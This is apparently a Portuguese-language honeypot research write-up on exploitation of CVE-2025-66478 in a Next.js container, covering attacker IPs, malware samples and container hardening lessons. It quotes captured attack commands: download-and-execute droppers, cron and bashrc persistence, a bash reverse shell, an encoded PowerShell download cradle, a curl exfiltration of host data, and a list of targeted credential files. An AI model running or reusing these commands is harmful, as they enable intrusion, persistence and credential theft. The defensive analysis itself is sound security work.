
Análise de logs de ataque do mundo real do CVE-2025-66478 (Next.js Server Actions RCE) com amostras de malware, rastreamento de IP do atacante e lições de fortalecimento de segurança de contêineres.
Este projeto reúne logs de ataque reais registrados por uma aplicação Next.js 15.1.2 exposta na internet (executando em um contêiner Docker). Estes logs demonstram a varredura e exploração em larga escala da vulnerabilidade CVE-2025-66478 por ferramentas automatizadas de ataque.
Período de registo: 2025-12-04 ~ 2025-12-06 (aproximadamente 48 horas)
Informações do ambiente:
Os atacantes tentaram executar comandos para baixar e executar malware através da vulnerabilidade.
| IP de origem do ataque | URL do payload malicioso | Descrição |
|---|---|---|
| 216.158.232.43 | http://216.158.232.43:12000/sex.sh | Botnet/minerador |
| 38.207.161.212 | http://38.207.161.212/agent | Programa agente malicioso |
| 43.156.63.124 | http://43.156.63.124/tsd | Backdoor persistente via cron |
| 154.38.121.219 | res.qiqigece.top/nginx3 | Malware disfarçado de nginx |
| 47.79.42.91 | iot.632313373.xyz/nz.sh | Script de botnet IoT |
| 47.79.65.237 | sup001.oss-cn-hongkong.aliyuncs.com/python1.sh | Minerador/backdoor |
| 103.135.101.15 | http://103.135.101.15/wocaosinm.sh | Script malicioso |
| 38.12.24.231 | http://38.12.24.231/kworker | Malware disfarçado de kernel worker |
| 128.199.194.97 | http://128.199.194.97:9001/setup2.sh | Script de inicialização |
# Ataque dropper típico
curl -fsSL http://38.207.161.212/agent -o /tmp/.a && chmod +x /tmp/.a && /tmp/.a
# Backdoor persistente via cron
curl -s -o /etc/cron.hourly/tsd http://43.156.63.124/tsd && chmod +x /etc/cron.hourly/tsd
# Ataque de persistência complexo (múltiplos métodos de download + cron + bashrc)
u='http://38.12.24.231/kworker'; n='kworker';
for d in $HOME/.config/sys_monitor /tmp/.sys_monitor /dev/shm/.sys_monitor /var/tmp/.sys_monitor; do
mkdir -p $d;
if [ -w $d ]; then
p="$d/$n";
(curl -ks $u -o $p || wget -q --no-check-certificate $u -O $p || python3 -c "import urllib.request;urllib.request.urlretrieve('$u','$p')");
chmod +x $p;
nohup $p >/dev/null 2>&1 &
(crontab -l 2>/dev/null | grep -v $n; echo "* * * * * $p >/dev/null 2>&1") | crontab -;
echo "$p >/dev/null 2>&1 &" >> ~/.bashrc;
echo "$p >/dev/null 2>&1 &" >> ~/.zshrc;
fi;
done
Os atacantes tentaram estabelecer conexões reverse shell para obter acesso interativo.
# Bash reverse shell
bash -c "bash -i >& /dev/tcp/154.26.192.32/19899 0>&1"
Os atacantes assumiram que o alvo era um sistema Windows e tentaram executar comandos PowerShell.
# PowerShell malicioso codificado em Base64
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADUANgAuADIAMwA0AC4AMgAwADkALgAxADAAMwA6ADYAMwA5ADMAOAAvAG4AcgBDAHIAUQAnACkA
# Decodificado:
# IEX (New-Object System.Net.Webclient).DownloadString('http://156.234.209.103:63938/nrCrQ')
# Cálculos matemáticos usados para confirmação da vulnerabilidade
powershell -c "41*271" # = 11111 (confirmação de assinatura)
powershell -c "44225*41002" # = 1814113450
Os atacantes tentaram coletar informações do sistema para ataques posteriores.
# Coleta de informações do sistema e exfiltração
curl http://38.60.212.106:8000/?data=`(hostname;ip addr show;id;ip route show;ip neigh show;route -n;cat /etc/passwd;hostname -I) | base64 -w 0`
Os atacantes tentaram ler vários arquivos sensíveis e credenciais.
Variáveis de ambiente do contêiner vazadas com sucesso através da vulnerabilidade:
HOSTNAME=6973aeebae41
BUN_INSTALL_BIN=/usr/local/bin
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/bun-node-fallback-bin
PWD=/app
TZ=Asia/Taipei
NODE_ENV=production
BUN_RUNTIME_TRANSPILER_CACHE_PATH=0
Os atacantes usaram consultas DNS para exfiltração de dados ou confirmação da vulnerabilidade:
ping 5a58e4a0.log.dnslog.pp.ua.
A maioria dos ataques falhou devido à natureza minimalista do contêiner Alpine Linux:
| Ferramenta ausente | Impacto |
|---|---|
curl | Incapacidade de baixar payloads maliciosos |
bash |
Embora wget estivesse disponível, alguns scripts maliciosos internamente dependiam de curl ou bash, resultando em falha na execução.
Os logs contêm muitos dados codificados em Base64. Abaixo estão alguns resultados decodificados:
# digest: 'cm9vdAo='
Decodificado: root
# digest: 'dGVzdAo='
Decodificado: test
# digest: 'dnVsbmVyYWJpbGl0eV90ZXN0Cg=='
Decodificado: vulnerability_test
# digest: 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCksMShiaW4pLDIoZGFlbW9uKSwzKHN5cyksNChhZG0pLDYoZGlzayksMTAod2hlZWwpLDExKGZsb3BweSksMjAoZGlhbG91dCksMjYodGFwZSksMjcodmlkZW8pCg=='
Decodificado: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
# Conteúdo do diretório /tmp
dG90YWwgMjAKZHJ3eHJ3eHJ3dCAgICAxIHJvb3QgICAgIHJvb3QgICAgICAgICAgNDA5NiBEZWMgIDUgMTg6MDAgLgpkcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA0MDk2IERlYyAgNCAxMzozNiAuLgotcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA5ODQ4IERlYyAgNSAxODowMCBJTlNUQUxMCg==
Decodificado:
total 20
drwxrwxrwt 1 root root 4096 Dec 5 18:00 .
drwxr-xr-x 1 root root 4096 Dec 4 13:36 ..
-rwxr-xr-x 1 root root 9848 Dec 5 18:00 INSTALL
Abaixo estão os endereços IP de ataque registrados:
Os atacantes tentaram chamar Server Actions inexistentes:
Failed to find Server Action "dev-only-action"
Failed to find Server Action "non_existent_action_id"
Failed to find Server Action "test"
Failed to find Server Action "x"
Os atacantes usaram o campo digest em mensagens de erro para exfiltrar dados:
Error: x
digest: 'cm9vdAo=' // 'root' codificado em Base64
curl, bash, python e outras ferramentas que possam ser abusadas--read-onlyEste projeto é apenas para fins educacionais e de pesquisa em segurança cibernética. Todos os ataques registrados são tentativas reais de ataque contra um honeypot de pesquisa. Não utilize estas informações para qualquer finalidade ilegal.
Este projeto contém amostras reais de malware capturadas e baixadas dos logs de ataque. Para análise detalhada, consulte:
MIT License
| Categoria | Caminho |
|---|
| Credenciais cloud | /root/.aws/credentials, /root/.aws/config |
/root/.config/gcloud/credentials.db | |
/root/.config/gcloud/application_default_credentials | |
| Chaves SSH | /root/.ssh/id_rsa, /root/.ssh/config |
| Credenciais Git | /root/.git-credentials, /root/.gitconfig |
| Container/K8s | /root/.docker/config, /root/.kube/config |
/var/lib/kubelet/config.yaml | |
| Aplicação | /proc/self/cwd/serviceAccountKey.json (Firebase) |
/proc/self/cwd/prisma/.env, /proc/self/cwd/prisma/schema.prisma | |
| Histórico Shell | /root/.bash_history, /root/.zsh_history |
| Ferramentas cloud | /root/.ossutilconfig (Alibaba Cloud OSS) |
/root/.npmrc | |
| Configuração do sistema | /etc/ansible/ansible.cfg, /etc/passwd, /etc/shadow |
| Incapacidade de executar sintaxe específica do bash (ex.: reverse shell) |
powershell | Ataques Windows ineficazes |
python | Incapacidade de usar downloader Python |
| Endereço IP | País/Região (estimado) | Tipo de ataque |
|---|
| 216.158.232.43 | Estados Unidos | Dropper |
| 38.165.44.205 | Estados Unidos | Dropper |
| 23.95.44.80 | Estados Unidos | Dropper |
| 154.38.121.219 | Hong Kong | Malware (nginx3) |
| 38.207.161.212 | Estados Unidos | Agent |
| 43.156.63.124 | China | Backdoor cron |
| 47.79.42.91 | China (Alibaba Cloud) | Botnet IoT |
| 47.79.65.237 | China (Alibaba Cloud) | Minerador |
| 119.45.243.154 | China (Tencent Cloud) | Minerador |
| 144.22.210.54 | Brasil | Dropper |
| 217.60.249.228 | Suécia | Dropper |
| 154.26.192.32 | Estados Unidos | Reverse Shell |
| 156.234.209.103 | Desconhecido | Payload PowerShell |
| 38.60.212.106 | Estados Unidos | Coleta de informações |
| 103.135.101.15 | Vietnã | Botnet |
| 128.199.194.97 | Singapura (DigitalOcean) | Script Setup |
| 38.12.24.231 | Estados Unidos | Malware persistente |
| Arquivo | Tipo | Tamanho | Fonte | Nível de ameaça |
|---|
| nz.sh | Shell Script | 931 B | iot.632313373.xyz | Médio |
| tsd.sh | Shell Script | 1.7 KB | 43.156.63.124 | Alto |
| tsd | ELF 64-bit | 6.8 MB | 43.156.63.124 | Alto |
| init.sh | Shell Script | 6.1 KB | AWS S3 | Crítico |
| agent | ELF 64-bit | 23.7 MB | AWS S3 | Crítico |
| Agtisx.exe | PE32+ (Windows) | 24.0 MB | AWS S3 | Crítico |